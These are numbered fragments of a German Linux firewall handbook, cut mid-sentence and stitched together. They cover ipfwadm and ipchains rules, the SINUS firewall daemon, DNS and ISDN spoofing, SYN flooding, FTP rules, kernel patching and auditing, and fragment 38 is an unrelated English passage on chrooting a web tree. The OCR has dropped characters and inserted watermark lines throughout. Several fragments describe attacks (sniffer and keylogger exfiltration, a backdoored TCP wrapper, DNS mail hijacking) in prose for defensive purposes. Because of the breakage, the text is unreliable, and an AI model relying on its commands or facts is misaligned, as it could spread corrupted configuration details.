24. INTRANET Die f gen wir nun f lschlicherweise an das Regelwerk an Es werden nun alle Pakete abgelehnt deren Quelladresse ein Host im INTRANET ist und der ber das externe Interface EXTERNES_INTERFACE sich Zugriff verschaffen will Ein und ausgehender Verkehr mit falschen Absendern an das externe Interface wird geblockt Zus tzlich ist eine Option o eingef gt die einfach nur besagt da Verst e gegen die Firewallregel an den SYSLOGD gemeldet werden der diese in die Datei var log messages schreibt Wer m chte da die Fehlermeldungen an einen weiteren LOGSERVER weitergeleitet werden der m ge sich mit Hilfe von man syslogd ber die Syntax der Konfiguration des SYSLOGD informieren Wer n mlich den SYSLOGD mit der Option r aufruft der mu damit rechnen da der SYSLOGD sich nicht nur an das LOOPBACK Interface bindet sondern auch an die Netzwerkkarte um von anderen Servern Logmeldungen entgegenzunehmen F r eine Firewall t dlich Zur Auswertung mehrerer Firewalls sei der LOGSurfer von Wolfgang Ley ehemals DFN CERT heute SecureNet Hambung empfohlen Ein sehr m chtiges und zur Uberwachung von Netzwerken auch v llig ausreichendes Werkzeug Es wird hierf r auch kommerzieller Support angeboten Als Alternative verbleibt nur noch der NFR Network Flight Recorder von NAI 9 9 Die Reihenfolge der Regeln Erstellt von Doc Gonzo http kickme to plugins Welches Problem existiert sonst noch Eine Verletzung der Grundre
25. Regeln zu beachten Wenn das Schl sselwort currentprotocol anstelle der Protokollbezeichnungen angegeben wird dann wird dasjenige Protokoll desjenigen Paketes welches die Regel erf llt und somit die Aktion ausgel st hatte mit in die neue dynamische Regel bernommen Genauso k nnen die Schl sselworte sourcehost sourcenet desthost destnet after to und from verwendet werden um Informationen aus der alten Regel in die neue dynamische Regel zu bernehmen Zuletzt kann man noch einen Timout Wert in Sekunden gemessen am Ende der Regel hinzuf gen optional Dieser Timout sorgt dann daf r da die Regel nach Ablauf einer bestimmten Zeit wieder gel scht wird Man sollte dieses unglaublich m chtige Werkzeug nur mit gr ter Vorsicht einsetzen da nur sehr schlecht vorherzusagen ist welche Regel im Moment gerade aktiv ist und warum Es ist ebenfalls schwierig genau die Einfl sse der dynamischen Regeln untereinander zu bestimmen weil wie bei statischen Regeln auch die Reihenfolge ihrer Aktivierung Auswirkungen auf deren Abarbeitung in der Liste hat Andererseits lassen sich hiermit komplexe Proxy Mechanismen formulieren und sogar ausgewachsene Proxy s ersetzen Variablen k nnen deklariert werden Ihr Wert wird dann stets auf 0 gesetzt Sie k nnen nur Integerwerte speichern Wenn also auf Variablen zugegriffen werden soll dann kann optional einer der Begriffe sourcehost oder desthost nach dem Variablennamen angegeben werden durch
26. Sehr wichtig ist zu erw hnen da der Firewall D mon niemals auf die Beendigung seiner Kinder child wartet Damit keine Zombies entstehen mu dieser immun gegen das Signal SIGCHLD sein Er ignoriert dieses da ein Returnwert der Children error successfully terminated ohne Belang ist Diese Verhalten veranla t das Betriebssytem die Prozesstabelle zu bereinigen und belegte Pl tze aus der Tablle zu entfernen Das Aufsetzen der Signaltabelle erfolgt in der Funktion start_log Starten externer Befehle Der Firewall D mon benutzt auf dem Host installierte Programme um E Mails 0 a zu versenden counter intelligence Programme zu starten oder irgendwelche Prozesse auszuf hren die mit Userrechten ausgef hrt werden k nnen Da der Firewall D mon ein unprivilegierter Prozess ist kann er auch keine privilegierten Programme starten oder Befehlsparameter bernehmen die von einem anderen Host bermittelt wurden Es sollte aber stets ber cksichtigt werden da der Firewall D mon ber die Kernelroutine system Programme startet Die Ausf hrung von Programmen bergeben an den Firewall D mon R ckgabewerte die zu einem buffer overflow f hren k nnen Aus diesem Grund werden control character aus den R ckgabedaten herausgefiltert Endlose Datenstr me als R ckgabewert dev random werden nach einem Timout beendet Die maximale Zahl der Eintr ge in Proze tabellen ist begrenzt Der Ereignis Mechanismus Der Firewall D mon mu
27. ber das interne Netzwerk erf hrt wird der bastion host so konfiguriert da er falsche Informationen ber das interne Netzwerk Erstellt von Doc Gonzo http kickme to plugins liefert jedoch korrekte Informationen ber alle von au en sichtbaren und erreichbaren Hosts Daf r wird dann intern ein unabh ngiger DNS Server aufgesetzt der die richtigen Informationen ber interne und externe Adressen des Netzwerk besitzt Beide DNS Server insbesondere der externe DNS Server mu gut gegen Anfriffe abgesichert sein da er die Eintr ge f r Mail Server MX des Unternehmens nach au en hin tr gt Werden diese ver ndert so k nnen von au erhalb keine e Mails mehr empfangen werden diese werden evtl an einen beliebigen Server im Internet vom Angreifer umgeleitet Damit kein Angreifer eine falsche IP Nummer vort uschen kann sollte der bastion host und der interne DNS Server stets ein double reverse lookup durchf hren Hierbei wird die IP Adresse ber reverse lookup in den Namen und der Name wieder in die IP Nummer aufgel st Stimmen die Ergebnisse nicht berein ist entweder der zugreifende Client ein Angreifer oder falsch konfiguriert Jedefalls kann er seine Identit t nicht nachweisen und somit sollte er strikt abgelehnt werden Hierzu m ssen alle D monen des bastion hosts mit der Bibliothek des TCP Wrappers TCPD unter UNIX zusammen kompiliert werden Der Wrapper pr ft vor des Start eines Dienstes ob der double reverse look
28. ber den PROXY Server oder via E Mail in das Internet 2 Sekunden Auswertung der gesammelten Daten Nun ist die erste Stufe eines Angriffs vor ber wie helfen diese gesammelten Daten einem Angreifer nun weiter Wertet man nun die gesammelten Daten aus e Dieses Binary enth lt einen Netzwerksniffer der besonders auf Port 80 25 110 137 139 lauscht Er wird morgends beim Hochstarten der Arbeitsstation Erstellt von Doc Gonzo http kickme to plugins gestartet und belauscht andere Arbeitsstationen beim Login Vorgang auf dem Server Abholen der E Mail Er sammelt diese Daten und sendet sie irgendwann tags ber ber das E Mail Gateway oder den Internet Proxy in das Internet Die Firewall wird diese Vorg nge zwar registrieren es sind aber ganz normale Vorg nge Der Angreifer ist nun im Besitz von zumindest einigen Pa worten e Die 2 Datei enth lt einen Keyboardsniffer der zusammen mit Winword startet und alle halbe Stunde s mtliche Tastendr cke in das Internet bermittelt i e Diese Informationen werden von o a Programmen zur Ubermittlung der Informationen in das Internet verwendet und dienen der Vorbereitung weiterer Angriffe e Mit diesen Informationen wird ermittelt wer im Netzwerk evtl sein Laufwerk zum Scheiben freigegeben hat Falls im Unternehmen ein Switch eingesetzt wird so ist die Ausbeute aus 1 nicht gro Der Sniffer installiert sich dann einfach auf die andere Arbeitsstation So erh lt man weitere
29. einen Kernel neu zu kompilieren Wir beginnen also langsam Schritt f r Schritt also keine Panik so schwer ist es nun auch wieder nicht 9 2 Ben tigte Hardware Die Hardware Anforderungen an eine LINUX Firewall sind u erst gering Im Kapitel Tuning finden Sie Informationen dar ber bei welchen Anwendungen welche Hardware f r eine LINUX Firewall am besten geeigenet ist e Einen ISDN Router alternativ eine ISDN Karte Erstellt von Doc Gonzo http kickme to plugins e Einen PC mit 2 Netzwerkkarten beispielsweise einen 80486 mit 16 MB RAM besser 32 MB mit einem CDROM Laufwerk einer ISDN Karte und Floppy und Harddisk 400 MB sollten Minimum sein Einen kleinen Ethernet HUB 2 Kabel RJ45 RPL RedHat CDROM und die Bootfloppy Weitere PC s mit Ethernet Karten Wer eventuelle Zweifel bez glich der Leistungsf higkeit seiner Hardware hat der mag sich im Kapitel Tuning von Firewalls etwas umschauen F r einen Aufbau mit nur 2 Maschinen kann der Ethernet HUB entfallen und mu durch ein cross over Kabel ersetzt werden Alternativ lassen sich auch Netzwerkkarten mit BNC Kabeln einsetzen Alternativ kann man auch auf den ISDN Router verzichten und eine ISDN Karte in die Firewall einbauen Die Konfiguration ist dann allerdings etwas komplizierter Das gr te Problem mit mehreren Netzwerkkarten sind immer Kollisionen mit IRQ s Adressen u s w Wir nehmen an da auf dem PC der zu der Firewall werden soll Microso
30. einmal besonders auf den Markennamen Firewall 1 von Checkpoint Kann es denn wirklich m glich sein da keine Security Consulting Firma bei der berpr fung der Firewalls mit Standard Angriffstools bemerkt hat da hier Firewall 1 4 0 einfach mit einem UDP Paket auf Port 0 unter SOLARIS 2 6 2 7 lahmgelegt werden kann Ein Beispiel hier aus dem Code von Firewall 1 von Checkpoint INSPECT Security Policy Skript Generated by cshenton LapDancer it hg nasa gov at 12Mar98 17 20 57 from Rulebase by FireWall 1 Version 3 0b VPN Compiler Running under SunOS5 5 1 Number of Authentication and Encryption rules define NAUTHENTICATION 0 define NENCRYPTION 0 define NLOGIC 0 define NLOGICFOLD 0 define NACCOUNT 0 TMM Exported Rules Database TMM export auth crypt logic 0 logicfold proxy rules rule 1 Src Any dst lapdancer Services H323 NetMeeting NetMeeting DirSrv action accept type accept color Dark green macro RECORD_CONN 1con name icon accept text rid 61463 Erstellt von Doc Gonzo http kickme to plugins windows color green track Long install Gateways type gateways color Navy Blue icon name icon gateways rule 2 STc Any dst Any Services 33 Firewall Auditing Die berpr fung der Firewall ist eine ebenso komplexe wie zeitrauben
31. en die Verbindung vom Scanner Host schon nach 2 durchgescannten Ports und Melden einen Scanner Angriff an den Systemadministrator Hierbei kann der Portscanner nicht mehr entdecken da z B Port 25 oder 23 weit offensteht weil die Firewall jeden Kontakt unterbrochen hat Ein andere Fall ist das j ngste Ereignis mit dem TCPWRAPPER von Wietse Venema dessen Quellcode von einem Hacker manipuliert wurde Dieser reagierte auf normale Portscans v llig korrekt nur wenn der Portscann von einem 400er Port aus initiiert wurde dann ffnete sich eine ROOT Shell Das bedeutet Erstellt von Doc Gonzo http kickme to plugins insbesondere da nicht nur alle Zielports gescannt werden m ssen sondern auch alle Kombinationen von Quell und Zielports Ein einziger SCAN mit 65 000 2 Kombinationsm glichkeiten dauert auf einem 10 MBit LAN ca 30 Minuten pro Host Derjenige dessen Portscanner nach Sekunden schon eine Meldung liefert der hat mit Sicherheit nur Zielports gescannt Bekannte Security Scanner wie ISS oder NMAP berpr fen nicht alle Kombinationen von Quell und Zielports Wer also insbesondere UNIX Maschinen im Internet betreibt der sollte seine Maschinen nochmals gr ndlicher scannen Kritisch sind auch programmierbare Firewalls Hier k nnte ein Experte z B diese so programmieren da die Firewall sich f r Zugriffe von au en ffnet wenn in der Reihenfolge 17 4567 65123 2 470 die Ports kurz angesprochen werden Dies l t sich recht einf
32. externe Angreifer und Insider leicht m glich die Sicherheit der Firewall und somit der des gesamten Netzwerkes zu gef hrden Es darf nie vergessen werden da der Arbeitsplatz PC in dem Moment der Fernwartung der Firewall zum System der Firewall hinzugeh rt Angesichts der vielen Sicherheitsl cken im InternetExplorer Windows 95 98 NT ist damit auch die Firewall gef hrdet PPTP PPTP ist das Point to Point Tunneling Protocol welches von Microsoft favorisiert wird Es gibt inzwischen ausgereifte PPTP Server und PPTP Gateways die auch das Tunneln ber die Firewall erlauben PPTP Server unterst tzen unter LINUX inzwischen das Point to Multipoint Protokoll soda sich hiermit auch VPN s aufbauen lassen Unter Windows ist PPTP bereits enthalten SSH SSH Secure SHell ist ein Verschl sselungsmechanismus der auf TCP IP aufsetzt Er arbeitet hnlich wie PGP mit ffentlichem und privatem Schl ssel Zur Herstellung der Verbindung sind feste IP Nummern notwendig SSH ist nur f r die Errichtung einer sicheren Punkt zu Punkt Verbindung geeignet Uber SSH k nnen prinzipiell alle Protokolle bertragen werden daher eignet sich SSH perfekt zum Aufbau von VPN s Virtual Private Networks Eingriffe in den Kernel sind nicht notwendig SSH kann parallel zu anderen Protokollen installiert sein ENskip ENskip ist ein zu SUN Skip kompatibler Clone der direkt auf dem IP Layer aufsetzt und somit Anderungen im Kernel erfordert Die jewe
33. gezeigt da viele D monen unter diesem Problem leiden daher ist diese Ma nahme alleine auch unzureichend Man kann dem ISDN Interface gl cklicherweise auch sagen da es nur Verbindungen von bestimmten Telefonnummern aus annehmen soll Fremde Telefonnummern werden generell abgelehnt es kommt erst gar nicht zur CHAP PAP Authentifizierung Ein kleines Problem gibt es jedoch noch Telefonnummern sind prinzipiell spoofbar sofern der Anrufer aus demselben Ortsbereich anruft Spoofing kann man mit vielen Telefonanlagen durchf hren sofern man einen Anlagenanschlu bei der Telekom besitzt und ber eine vollwertige TK Anlage verf gt Interne ISDN Nummern der TK Anlage werden nach au en an andere Teilnehmer weitergeleitet Prinzipiell kann man dann jede Telefonnummer vort uschen also ISDN Nummern spoofen Es gab in Erstellt von Doc Gonzo http kickme to plugins vergangener Zeit einige wenige Cracker die so auf anderer Teilnehmer Kosten telefoniert haben Die Telekom bermittelt jedoch tats chlich zwei ISDN Nummern zwischen den Teilnehmern ber den D Kanal Einmal die von der TK Anlage angegebene Nummer und direkt hinterher die offizielle amtliche Telefonnummer Leider wird diese von vielen ISDN Anlagen und von vielen ISDN Treibern nicht an das Betriebssystem bermittelt Wer ISDN Anlagen sicher betreiben m chte der sollte sich einmal bei Rohde und Schwarz K ln Porz Wahn informieren Zusammenfassen kann man also sagen da man Fer
34. higen Werkzeugen zum Einsatz kommt oder z B Windows NT Angreifer verf gen ber die F higkeit mal eben zumeist freie UNIX Werkeuge auf NT zu portieren sofern dies um Zusammenhang mit der erw hnten POSIX Kompatibilitat von NT nicht schon l ngst Erstellt von Doc Gonzo http kickme to plugins geschehen ist Der Upload von geeigneten Werkzeugen wenn ein Einbruch bereits erfolgreich war ist ein Kinderspiel 23 13 DNS Sicherheit und Entf hrung von E Mails Bei Angriffen auf Server im Intranet spielt die Sicherheit von DNS Servern eine wichtige Rolle Is dieser z B veraltet so ist es einem Angreifer m glich diesem ungefragt neue Zuordnungen von IP Numer zu DNS Namen einzuimpfen Diese enthalten dar berhin aus auch Informationen ber Mail Exchange Server MX Eintr ge f r den Austausch von E Mail intern und extern Impft man nun IP Nummern von Servern aus dem Internet ein so verschwinden alle E Mails ber die Firewall in das Internet Eugene Kashpureff z B hat mit diesem Trick tausende Domains in der Welt auf www alternic com umgeleitet inclusive deren E Mails Auch Siemens Nixdorf ist von einem solchen Effekt betroffen gewesen und noch betroffen Ein Umleiten von E Mails ist somit leider mancherortens immer noch m glich und zudem auch noch v llig unauff llig durchf hrbar obwohl dieses Problem seit 1994 bekannt ist Im Jahre 1998 sind Fa Siemens auf diese Weise mindestens 9 Gigabyte E Mails aus dem internen Netz
35. hrend des Boot Vorganges die Firewall f r kurze Zeit transparent wurde Angreifer h tten diesen Mangel einfach ausnutzen k nnen indem sie einen Fehler im Erstellt von Doc Gonzo http kickme to plugins TCP IP Stack ausnutzen um die Firewall st ndig neu zu booten In den wenigen Sekunden die dann verbleiben um Pakete durch die Firewall zu senden lassen sich schon einige Dinge anstellen Doch nun zur ck zu den forwarding Regeln Leider ist noch keine Angabe dar ber gemacht zwischen welchen der Netzwerkkarten forwarding verboten ist noch dar ber an welchen Interfaces der Kernel die ein und ausgehenden Pakete ablehnen soll Per Definition wendet er diese Regeln auf alle Interfaces an au er man informiert den Kernel dar ber auf welches Interface sich das Kommando genau bezieht Hierzu gibt es die Option w Hierzu aber sp ter mehr Mit dem Forwarding hat es noch eine besondere Bewandtnis dies ist wichtig f r das Verst ndnis von UNIX allgemein und hat Auswirkungen auf die Sicherheit des Systems wenn auch nur der kleinste Fehler gemacht wird ipfwadm F p deny besagt da alle Pakete zwischen allen Interfaces nicht weitergeleitet werden 9 6 Das Loopback Interface Alle Programme unter UNIX sind darauf ausgelegt im Netzwerk miteinander kommunizieren zu k nnen So arbeiten Mailprogramme DNS Server FTP Server stets Hand in Hand und tauschen Informationen untereinander aus Diese Programme laufen aber auch w
36. je nachdem wie mit hdparam dieses festgelegt wurde Erstellt von Doc Gonzo http kickme to plugins 22 2 Einspielen von Patches und Updates Hierbei mu man im Gegensatz zu anderen Betriebssystemen zwischen einem Patch eines Binaries und einem Quellcode Patch unterscheiden Binaries liegen zumeist als RPM Paket vor Hier gen gt der Befehl rpm i paketxy rpm um das Paket zu installieren Das RPM Format ber cksichtigt Abh ngigkeiten der Pakete untereinander So kann es passieren da sich zwei Pakete nicht installieren lassen weil eines damit es installiert werden kann bereits Teile des anderen auf der Festplatte vorfinden mu In diesem Falle kann mit rpm i force paketxy rpm erzwungen werden Das Einspielen von Quellcode Patches ist hier ein wenig schwieriger Um z B den Kernel upzudaten ist es notwendig sich den Patch aus dem Internet zu besorgen www kernel org Hier findet man ganze Kernel die bis zu 12 MByte gro sein k nnen oder die Patches die mit patch beginnen also Vorsicht bei Verwechslungen Der Patch den man aufspielt mu die Anschlu nummer an die Versionsnummer von dem gerade aktuellen Kernel sein Weiterhin sollte man sich vergewissern da dieser Kernel nicht schon irgendwie ver ndert worden ist Nun kopiert man den Patch in das Verzeichnis ust src und f hrt folgenden Befehl aus patch p0 lt patch 2 2 x Der Vorgang l uft sehr schnell ab Die einzelnen Vorg nge sind nicht genau zu entziffern
37. k nnen Bescheidenere Hersteller berichten dagegen g be es keinen wirkungsvollen Schutz und aus wieder anderer Quelle h rt man sogar LINUX h tte einen Schutz gegen SYN flooding SYN Cookies Was stimmt den nun Jede Aussage ist korrekt die einen sch tzen gegen die Exploits die man in den BUGTRAQ Archiven finden kann andere ertragen eine maximale Zahl von SYN Paketen und schlie en daraufhin f r 10 Minuten das Interface LINUX besitzt einen SYN Cookies Mechanismus der den Server f r weitere Verbindungen offenh lt und die R ckverfolgung eines Angreifers etwas erleichtert vorausgesetzt da sein Partner auch SYN Cookies aktiviert hat Viele Angreifer benutzen LINUX mit aktivierten SYN Cookies Wieder weitere haben den RED Random Early Drop Mechanismus implementiert welcher im Falle eines Angriffs nach statistischen Informationen vor dem Angriff einfach nach Zufallsprinzip eine gro e Zahl von Verbindungen verwirft um f r die syn gt ack Pakete derjenigen Verbindung offen zu sein die keinen DoS Angriff beabsichtigen Nur mit diesem Mechanismus kann gew hrleistet werden da trotz st ndiger DoS Angriffe der Betrieb aufrechterhalten wird Dieser Mechanismus wird leider nur von wenigen Herstellern angeboten TIS NAI TCP Charakteristika und Firewalls Themen Defragmentierung der IP Pakete Reassemblierung der TCP Pakete Randomized TCP sequence numbers ISN SSN Vorausberechnung der SSN s session hijacking
38. necessarily HP specific but it should generalize It took me a couple of afternoons of work to produce a working web tree So these are the steps I followed to chroot a LIVE web tree It wasn t as painful as I thought it would be but it requires a bit of work if you want to provide a high level of functionality In the following steps I have assumed the web tree owner is www living in group webgroup I have also assumed that the new web root is at wtree Create a tree in a NEW web root and give it the appropriate ownership If only one account edits files in the web tree then your are set If multiple user accounts update files then presumably you could have a special group for web updating and have people newgrp to this group Thus chown R www webgroup wtree chmod R 755 wtree or 775 if webgroup needs write permission You might also choose to create some kind of a home directory structure see http hoohoo ncsa uiuc edu docs tutorials chroot html From this point you work as user www Create the skeleton tree in the new web root You will probably need bin etc tmp dev lib You have to decide whether you are going to put sharable libraries in your web tree I decided to NOT do this though in the end I put one library there If I was to do this all over again I probably wouldn t have opted for only staticly linked versions At the time I was worried about duplicating my file system in the web t
39. nnen der Kernel und die Module kompiliert werden Anschlie end erfolgt das Kopieren an die vorgesehenen Stellen im Dateisystem Um ein solches Update auch R ckg ngig machen zu k nnen werden mit mv Verzeichnisse und Kernel in Dateien mit dem Anhang original umbenannt make dep make clean make boot make modules cd lib modules mv Versionsnummer Versionsnummer original cd usr sre linux make modules_install cd boot mv vmlinuz version vmlinuz original cp usr sre linux arch i386 boot zImage vmlinuz neu In fs vmlinuz new vmlinuz mv System map version System map original cp usr sre linux System map System map neu In fs System map neu System map cd etc Nun mu nur noch dem Boot Manager mitgeteilt werden da sich durch die Neukonfiguration des Kernels der Ort auf der Festplatte ge ndert hat Der Bootmanager merkt sich stets einen Offset von Beginn der Festplatte ausgehend Unter SCSI ist dies die lineare Sektoradresse unter IDE sind dies der Zylinder und der Sektor Leider lassen fast alle Bootmanger keine Zylinder gt 1023 als Aufenthaltsort f r den neuen Kernel zu Falls also etwas schiefgehen sollte k nnte es daran liegen da die Partition zu gro ist LINUX Partitionen sollten ohnehin nie gr er als 2 GByte sein da sonst der Bootvorgang von Zeit zu Zeit etwas zu lange dauern d rfte Das liegt an dem obligatorischen Festplatten Check nach einem Hardwareproblem bzw es findet alle 20 Bootvorg nge statt
40. ppp Analog PPP add commands if you need 2 dont know esac Wer noch m chte da seine E Mail gleichzeitig aus einem Sammelaccount von einem POP3 Server im Internet abgeholt und verteilt wird der mu noch eine weitere Zeile fetchmail a v in der Datei etc ppp ip up und die Konfigurationsdatei des fetchmail Programmes root fetchmailrc anpassen Nun mu nur noch der SQUID D mon gestartet werden und fertig ist der Firewall Router mit PROXY Cache Wer dar ber hinaus auch noch den ganzen Router ber ein komfortables WWW Interface administrieren k nnen m chte und f r die unterschiedlichen User Internet Sites sperren oder freigeben m chte der sollte sich nach WEBMIN umschauen Wer WEBMIN auf deutsch installieren m chte der mag sich auf http little idiot de umschauen 12 Aufbau einer Firewall mit ipchains Die ist die Anleitung zur Linux 2 2 Kernel Firewall ipchains Um Linux f r den Einsatz als Firewall vorzubereiten sollte man bei Schwierigkeiten das NET 3 HOWTO durchlesen Beim Einsatz von RedHat 5 2 Linux d rfte es aber keine besonderen Probleme bei dem Aufsetzen von zwei Netzwerk Interfaces geben Die Linux Firewall 2 2 l t sich auch zusammen mit ISDN Karten als ISDN Router und Firewall gleichzeitig betreiben Erstellt von Doc Gonzo http kickme to plugins F r diejenigen die sich bereits mit dem ipfwadm Toolkit unter Linux 2 0 auskennen seien die Erg nzungen in dem Abschnitt Unterschie
41. print exec sed s kann man den kompletten Quellcode von z B FreeBSD umkrempeln und mit make world neu kompilieren Da ein Angreifer stets gewisse Konventionen bei der Namensgebung von Usern Gruppen und Files erwartet ist diese Variante doch relativ erfolgreich und h lt zumindest einige Zeit stand um den Angriff bemerken zu k nnen Generell gilt Je mehr die Konfiguration vom Standard abweicht um so schwieriger hat es ein Angreifer Toor findet man brigens nach einem Angriff mit einem bestimmten Toolkit in der Datei etc passwd Wie sicher sind andere Betriebssysteme BSD UNIX Besonders erw hnenswert sind die Programmierer von OpenBSD die in jahrelanger Arbeit code review tausende von solchen fehlenden L ngenabfragen in die Standardprogramme von OpenBSD eingebaut haben Hierzu sind aber nderungen im Quellcode der Programme und des Kernels notwendig gewesen OpenBSD ist bin rkompatibel zu BSDI FreeBSD NetBSD LINUX und auch SOLARIS Programmen Da bedeutet aber nicht da die Anwendungsprogramme auf buffer overflows berpr ft wurden Leider kann der code review nicht eine 100 ige Sicherheit vor diesen Angriffen garantieren OpenBSD geh rt aber zu denjenigen Betriebssystemen die u erst stabil ohne gro e Probleme durch Angreifer laufen genauso wie SOLARIS 2 5 2 6 2 7 SUN hat aufgrund der langen Internet Tradition inzwischen erhebliche M hen in eigene code reviews gesteckt Das za
42. r Anbieter von Datenbank Servern ist dies eine M glichkeit ihren Server abschu sicher gegen DoS Angriffe und gegen buffer overflows zu sch tzen Angriffe k nnen nur noch von denjenigen WWW Servern aus gestartet werden die direkt ber IPSec an den Datenbank Server angebunden sind Diese lassen sich relativ gut berwachen 23 4 Zeitaufwand und Einbruchswerkzeuge Erst durch das vertraglich verbotene reengineering d h die Zur ckverwandlung in Assembler C Quellcode offenbart erst das wahre Ausma der Systemunsicherheit Toolkits wie windasm NUMEGA s Softlce oder boundschecker sind die Standardtoolkits mit welchen sich ohne Probleme sogar Dongel und Seriennumernabfragen deaktivieren lassen Hier einige Beispiele f r den Zeitaufwand den ein einigerma en erfahrener C Programmierer und Assembler Kenner ben tigt um folgende Probleme zu beseitigen Exploits Programme zur Ausnutzung einer Sicherheitsl cke Dongle Abfrage eines WIN INTEL Programmes beseitigen 1 2 Tage Seriennummer Abfrage eines WIN INTEL Programmes beseitigen 1 2 Tag Bekannten Exploit suchen und anwenden Lamer 10 Minuten Exploit buffer overflow von INTEL gt MIPS SPARC portieren LINUX 1 Tag Exploit schreiben nach einem konkreten Hinweis aus BUGTRAQ 2 Tage Reverse Engineering von Patches Binary 2 3 Tage Reverse Engineering von Quellcode Patches 1 Tag Exploit schreiben mit durchsuchen des Quellcodes UNIX 1 Tag Exploit schreiben ohn
43. r LINUX Kernel Firewalls und SINUS Firewall 1 wird unter http www sinusfirewall de angeboten Die urspr ngliche SF Firewall von Robert Muchsel und Roland Schmidt und deren Nachfolger SINUS Firewall betreut durch Harald Weidner ist an der Universit t Z rich beheimatet Sie ist auf http Avww ifi unizh ch ikm SINUS irewalls oder alternativ auf http www sinusfirewall org zu finden 4 2 Kommerzielle Firewalls auf LINUX basierend Nur wenige Firewallhersteller geben es gerne zu da Ihre Produkte auf LINUX aufbauen oder eventuell ganz auf den eingebauten Kernel Features von LINUX basieren Andere Firewalls basieren auf dem ebenfalls freien BSD 4 4 UNIX Hier nun eine kleine Aufstellung dieser kommerziellen Firewalls BORDERWARE 5 2 6 0 FreeBSD BSD 4 4 CCOM INET LINUX 2 0 CHECKPOINT Firewall 1 BSD 4 4 CSM PROXY LINUX GENUA GENUGATE GTA GNATBOX FreeBSD 3 1 LINUX KRYPTOCOM LINUX 2 0 KNOX F1 LINUX 2 0 MATRANET M WALL 4 BSD 4 4 NAI GAUTLET BSD 4 4 LINUX 2 0 PLANNET SYSTEMS LINUX 2 0 SINUS Firewall 1 LINUX 2 0 WATCHGUARD Firebox LINUX 2 0 Pyramid BEN HUR Diese hier genannten Firewalls unterscheiden sich wesentlich in Bedienung F higkeiten und Programmierbarkeit W hrend man bei den einen st ndig auf Updates des Herstellers f r z B neue Protokolle angewiesen ist so lassen sich andere einfach mit neuen Protokollen nachr sten indem man den Programmcode leicht modifiziert Zum Schutz von NT Netzwerken eignen sich aus
44. rfen von diesem aber keine Verbindung zu einem Host in das Internet aufgebaut werden darf Das macht immer dann einen Sinn wenn z B ein Datenbankserver im Internet gesichert werden soll F r den Fall da es einem Angreifer gelungen ist mit einem buffer overflow an eine Rootshell unter UNIX zu gelangen Will er nun mit einer FTP Verbindung die Daten entf hren so wird dies von der Firewall unterbunden Der Angreifer mu also noch erhebliche M hen investieren Die Firewall h tte den Entf hrungsversuch dann aber bereits registriert IP Fragmente In vielen F llen ist ein Paket zu gro um direkt von dem Interface aufgenommen werden zu k nnen Daher wird es in kleine Fragmente aufgeteilt und versendet Am anderen Ende m ssen diese Fragmente wieder zusammengesetzt also reassembliert werden wie es in Fachsprache hei t Es gibt eine Reihe von Angriffsvarianten die auf verschachtelten IP Fragmenten mit verschiedenen Offsets beruhen Um diese Angriffe zu verhindern ist es unerl lich da der der Kernel diese IP Fragmente vor der Weiterleitung an die Filter vollst ndig reassembliert Bei der Kompliation des Kernels ist also beim Aufbau einer Firewall strengstens darauf zu achten da die Option IP always defragment aktiviert wird Beim Einsatz als Router oder Switch wird sich diese Option negativ auf die Performance aus Dieser Tatsache wird in den Filterregeln Rechnung getragen Das erste Fragment tr gt den Header mit allen
45. und Datenkanal jeweils Portnummern ber 1023 Problematisch ist der Einsatz ber eine Firewall hinweg Hierbei mu der Client PASV passive mode unterst tzen In viele Clients Netscape WS FTP CUTE FTP ist dieser Modus bereits implementiert Besonderes Augenmerk sollte dem sog FTP bounce attack gewidmet werden Hier k nnen zwei FTP Server aus dem Internet Intranet massiv miteinander besch ftigt werden soda diese die gesamte Bandbreite des Netzes verbrauchen Ein solcher Angriff kann mit dem TCPLOGD entdeckt werden Zu finden ist dieser auf http Iwn net 1998 1224 a tcplogd html Wer sich nicht sicher ist ob und in welchen F llen ein solcher Angriff durchgef hrt werden kann der sollte den FTP Server nicht ohne weiteres installieren Insbesondere sind h ufig anonymous FTP Server f r diesen Angriff offen die auf die Pa worte ftp anonymous einen ffentlichen Zugang zu dem Filesystem erlauben Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein TCP gt 1023 21 SYN ACK 2 aus TCP 21 gt 1023 ACK 3 aus TCP 20 gt 1023 SYN ACK 4 ein TCP gt 1023 20 ACK 5 ein TCP gt 1023 gt 1023 SYN ACK 6 aus TCP gt 1023 gt 1023 ACK 7 aus TCP gt 1023 21 SYN ACK 8 ein TCP 21 gt 1023 ACK 9 ein TCP 20 gt 1023 SYN ACK 10 aus TCP gt 1023 20 ACK Erstellt von Doc Gonzo http kickme to plugins 11 aus TCP gt 1023 gt 1023 SYN ACK 12 en TCP gt 1023 gt 1023 J ACK Anmerkungen zu den Regeln
46. viel mit Timeouts arbeiten Da viele Ereignisse und deren Dauer von anderen Ereignissen abh ngig sind besitzt die Firewall einen Eventmanager Timeouts werden hierin in einer linearen Liste festgehalten der Event Queue event_queue Hierin werden auch Funktionsadressen und deren Parameter festgehalten struct timeout in sf_log c Um ein Ereignis hinzuzuf gen wird die add_event Funktion benutzt Sie benutzt den Alarm Mechanismus und definiert den Timeout des nachsten Ereignisses Wenn vom Signalh ndier das SIGALARM Signal an die Funktion catch_alarm gesendet wird dann wird der n chstfolgende Timeout f r einen Befehl abgearbeitet Falls der Firewall D mon in diesem Moment zu besch ftigt sein sollte wird die Ausf hrung des Befehls von der Funktion process_alarm ausgef hrt Der Firewall D mon wird hierzu unterbrochen Erstellt von Doc Gonzo http kickme to plugins Timeouts werden f r folgende Funktionen eingesetzt e Entfernung dynamischer Regeln remove _rule e Schreiben des Logfiles auf Festplatte flush_log e Beendigung h ngender Prozesse kill_spy Timeouts sind in dem File sf_custom h definiert und sollten entsprechend den Anforderungen beim Einsatz in Hochleisungs Netzwerken angepa t werden Error Handling Der Firewall D mon schreibt alle Error Meldungen in die Logfiles und sendet ggf E Mails an den User z B wenn der freie Speicherplatz auf der Festplatte den Wert von 2 MByte unterschreitet Wenn
